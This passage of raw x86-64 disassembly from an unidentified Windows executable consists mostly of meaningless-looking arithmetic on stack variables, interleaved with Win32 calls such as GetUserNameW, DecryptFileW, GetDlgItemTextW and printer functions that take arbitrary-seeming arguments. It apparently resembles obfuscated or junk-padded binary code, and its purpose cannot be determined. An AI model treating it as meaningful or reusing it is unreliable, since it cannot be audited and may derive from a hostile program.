mov byte [rcx], al
mov rax, qword [0x1401c02c0]
mov rcx, qword [rsp + 0x61e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa8], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
and eax, ecx
mov word [rsp + 0xaa0], ax
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x350c]
mov rcx, qword [rsp + 0x61e0]
mov qword [rsp + 0x61f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3518], eax
cmp dword [rsp + 0x35ec], 0xb8d2
jae 0x140005c09
lea rax, [rsp + 0x61c8]
mov qword [rsp + 0x61f8], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x351c], eax
movzx eax, byte [rsp + 0x61]
mov byte [0x1401c16d2], al
movsx eax, word [0x1401c16d0]
mov dword [rsp + 0x35f0], eax
cmp dword [rsp + 0x35f0], 0x77
je 0x140005f32
jmp 0x140005f9a
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6200]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
or eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
sub eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
jmp 0x140005fea
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov word [rsp + 0xaa8], ax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0x6180]
mov qword [rsp + 0x6208], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov byte [rsp + 0x35f4], al
cmp byte [rsp + 0x35f4], 0x60
je 0x14000600b
jmp 0x1400060ed
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6058]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov rdx, qword [rsp + 0x6180]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x1400060cc
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x35f8], al
cmp byte [rsp + 0x35f8], 0x1a
je 0x140006071
jmp 0x1400060af
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x61f8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x6170]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6208]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x61d0]
movzx ecx, byte [rax]
call fcn.140143410
nop
jmp 0x1400060ca
mov edx, 0xcb
mov rcx, qword [rsp + 0x6120]
call qword [sym.imp.USER32.dll_GetAncestor]
mov qword [rsp + 0x6210], rax
jmp 0x1400060e8
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
shl eax, cl
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
jmp 0x140141f98
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [rsp + 0x65]
movsx edx, byte [rsp + 0x62]
or ecx, edx
cmp eax, ecx
jg 0x1400062bc
movzx eax, word [rsp + 0xaa0]
mov dword [rsp + 0x35fc], eax
cmp dword [rsp + 0x35fc], 0
je 0x140006148
cmp dword [rsp + 0x35fc], 0x5f9
je 0x14000629a
jmp 0x1400062ba
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab8]
sub eax, ecx
movzx ecx, word [rsp + 0xaac]
mov rdx, qword [rsp + 0x6110]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x140006273
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
movsx eax, word [rsp + 0xaa8]
mov dword [rsp + 0x3600], eax
cmp dword [rsp + 0x3600], 0x2d4
je 0x1400061c2
cmp dword [rsp + 0x3600], 0x493
je 0x140006249
jmp 0x140006271
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x350c]
mov edx, dword [rsp + 0x3518]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000622e
mov rcx, qword [rsp + 0x60c0]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov dword [rsp + 0x35b8], eax
mov rax, qword [rsp + 0x6168]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x6208]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6058]
movzx ecx, word [0x1401c16d0]
call fcn.1401429f0
nop
jmp 0x140006247
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
sub eax, ecx
mov word [rsp + 0xaa8], ax
jmp 0x140006271
mov r9d, 0x5d
lea r8, [rsp + 0x1cfe0]
mov edx, 0xe7
mov rcx, qword [rsp + 0x6218]
call qword [sym.imp.USER32.dll_GetDlgItemTextW]
mov dword [rsp + 0x3508], eax
jmp 0x140006298
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x3518]
mov edx, dword [rsp + 0x350c]
add edx, ecx
mov ecx, edx
jmp 0x1400062ba
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
jmp 0x140006306
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sar eax, cl
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xaac]
sub ecx, edx
cmp eax, ecx
jle 0x140006306
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x62], al
call fcn.140143640
nop
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xaa0]
xor eax, ecx
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
mov dword [rsp + 0x3604], ecx
movzx edx, word [rsp + 0xaac]
movzx ecx, dl
mov edx, dword [rsp + 0x3604]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140006457
mov rcx, qword [rsp + 0x6120]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0x6108], rax
mov eax, dword [rsp + 0x35e8]
mov ecx, dword [0x1401c02b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6220], rax
movabs rax, 0x7653a2f6da9120
cmp qword [rsp + 0x6220], rax
je 0x1400063b7
movabs rax, 0x789ce9b95a6a6e
cmp qword [rsp + 0x6220], rax
je 0x140006438
jmp 0x140006452
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x65]
movsx edx, byte [rsp + 0x60]
add ecx, edx
cmp eax, ecx
jne 0x140006415
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x61f8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x61c0]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6208]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x62]
call fcn.140143410
nop
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x61e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
jmp 0x140006452
mov edx, 0xc6
mov rcx, qword [rsp + 0x6228]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x3608], eax
jmp 0x14000653d
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x62]
sub ecx, edx
cmp eax, ecx
jle 0x14000653d
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x60]
movsx edx, byte [rsp + 0x62]
add ecx, edx
cmp eax, ecx
jg 0x140006520
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c02c0], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6208]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
sar eax, cl
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
jmp 0x14000653d
lea rdx, [rsp + 0x61a8]
mov rcx, qword [rsp + 0x6230]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x353c], eax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xab8]
mov rdx, qword [rsp + 0x6178]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x140006675
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x63]
movzx edx, byte [rsp + 0x61]
add ecx, edx
cmp eax, ecx
je 0x140006624
mov eax, dword [rsp + 0x35c4]
mov dword [rsp + 0x360c], eax
cmp dword [rsp + 0x360c], 0x5ef1
je 0x1400065b8
jmp 0x140006602
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab0], ax
movzx r9d, word [0x1401c16d0]
mov rax, qword [rsp + 0x6208]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6180]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
jmp 0x140006622
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab8]
shl eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
jmp 0x140006670
mov rax, qword [0x1401c02c0]
mov rcx, qword [rsp + 0x61c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov rdx, qword [rsp + 0x61e8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jg 0x140006670
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x63], al
jmp 0x1400067a4
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3588]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3508]
mov edx, dword [rsp + 0x3504]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x1400066d0
movzx r9d, word [rsp + 0xab0]
mov rax, qword [rsp + 0x6208]
mov r8, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
mov rax, qword [0x1401c02c0]
mov qword [rsp + 0x6238], rax
movabs rax, 0x7a1bb38465bad6
cmp qword [rsp + 0x6238], rax
je 0x1400066f8
jmp 0x1400067a4
mov rcx, qword [rsp + 0x6240]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x3610], eax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x61e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3518], eax
lea r9, [rsp + 0x6208]
mov r8d, reloc.SHELL32.dll_ILIsEqual
lea rdx, [rsp + 0x6170]
mov rcx, qword [rsp + 0x6090]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x353c], eax
mov rax, qword [rsp + 0x6168]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x6208]
mov r8, qword [rax]
mov rax, qword [rsp + 0x6208]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
lea rax, [rsp + 0x3504]
mov qword [rsp + 0x6248], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c02cc], eax
lea rax, [rsp + 0x6180]
mov qword [rsp + 0x6250], rax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c02c0]
mov rdx, qword [rsp + 0x61e8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14000684e
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov byte [rsp + 0x60], al
lea r9, [rsp + 0x3518]
lea r8, [rsp + 0x6138]
lea rdx, [rsp + 0x60e0]
mov rcx, qword [rsp + 0x6090]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x3610], eax
jmp 0x14000693c
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c02c0]
mov rdx, qword [rsp + 0x61c8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14000693c
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [0x1401c02c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov rdx, qword [rsp + 0x61c8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14000693c
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sar eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
lea r9, [rsp + 0x6138]
mov r8d, 0x74
lea rdx, [rsp + 0x6170]
mov rcx, qword [rsp + 0x6090]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3614], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov byte [rsp + 0x3618], al
cmp byte [rsp + 0x3618], 0
je 0x140006967
cmp byte [rsp + 0x3618], 0xee
je 0x1400069df
jmp 0x140006a52
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov dword [rsp + 0x361c], eax
cmp dword [rsp + 0x361c], 0x8d90
je 0x140006987
jmp 0x1400069c2
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x61c8]
mov rax, qword [rsp + 0x6150]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6250]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x61d0]
movzx ecx, byte [rax]
call fcn.140143410
nop
jmp 0x1400069d2
movzx eax, word [rsp + 0xab8]
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x3620], 0xc8da
jmp 0x140006a52
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov edx, reloc.SHELL32.dll_ILAppendID
mov rcx, qword [rsp + 0x6240]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x3614], eax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6208]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov dword [rsp + 0x3624], eax
cmp dword [rsp + 0x3624], 0
je 0x140006a72
jmp 0x140141ee1
lea rax, [rsp + 0xaac]
mov qword [rsp + 0x6258], rax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3588]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x61e8]
movzx ecx, al
mov rax, qword [rsp + 0x61c8]
sar rax, cl
mov qword [0x1401c02c0], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3518], eax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x355c]
sub eax, 0xf5
mov dword [rsp + 0x355c], eax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
xor eax, ecx
mov word [rsp + 0xabc], ax
movsx eax, word [rsp + 0xab0]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6248]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
cmp dword [rsp + 0x355c], 0x278e
jae 0x140006a9e
cmp dword [rsp + 0x3584], 0x51b
jbe 0x140006dcc
mov eax, dword [rsp + 0x3584]
sub eax, 0xb6
mov dword [rsp + 0x3584], eax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xabc]
sub eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x62]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0xabc]
movzx ecx, word [rsp + 0xaa4]
shl eax, cl
mov word [rsp + 0xab8], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6248]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x35c4], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x61c8], rax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov word [rsp + 0xaa8], ax
jmp 0x140006c76
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab8], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x6248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
movzx eax, byte [0x1401c16d2]
movzx ecx, byte [rsp + 0x64]
shl eax, cl
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sar eax, cl
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xaa8]
or eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [0x1401c02c0]
mov rcx, qword [rsp + 0x61c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3588]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [0x1401c16d2]
add eax, ecx
mov byte [rsp + 0x61], al
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
xor eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
or eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6058]
shr rax, cl
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3508]
shl eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3558]
add eax, 0xb9
mov dword [rsp + 0x3558], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [0x1401c02c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movsx eax, word [rsp + 0xab0]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3518]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
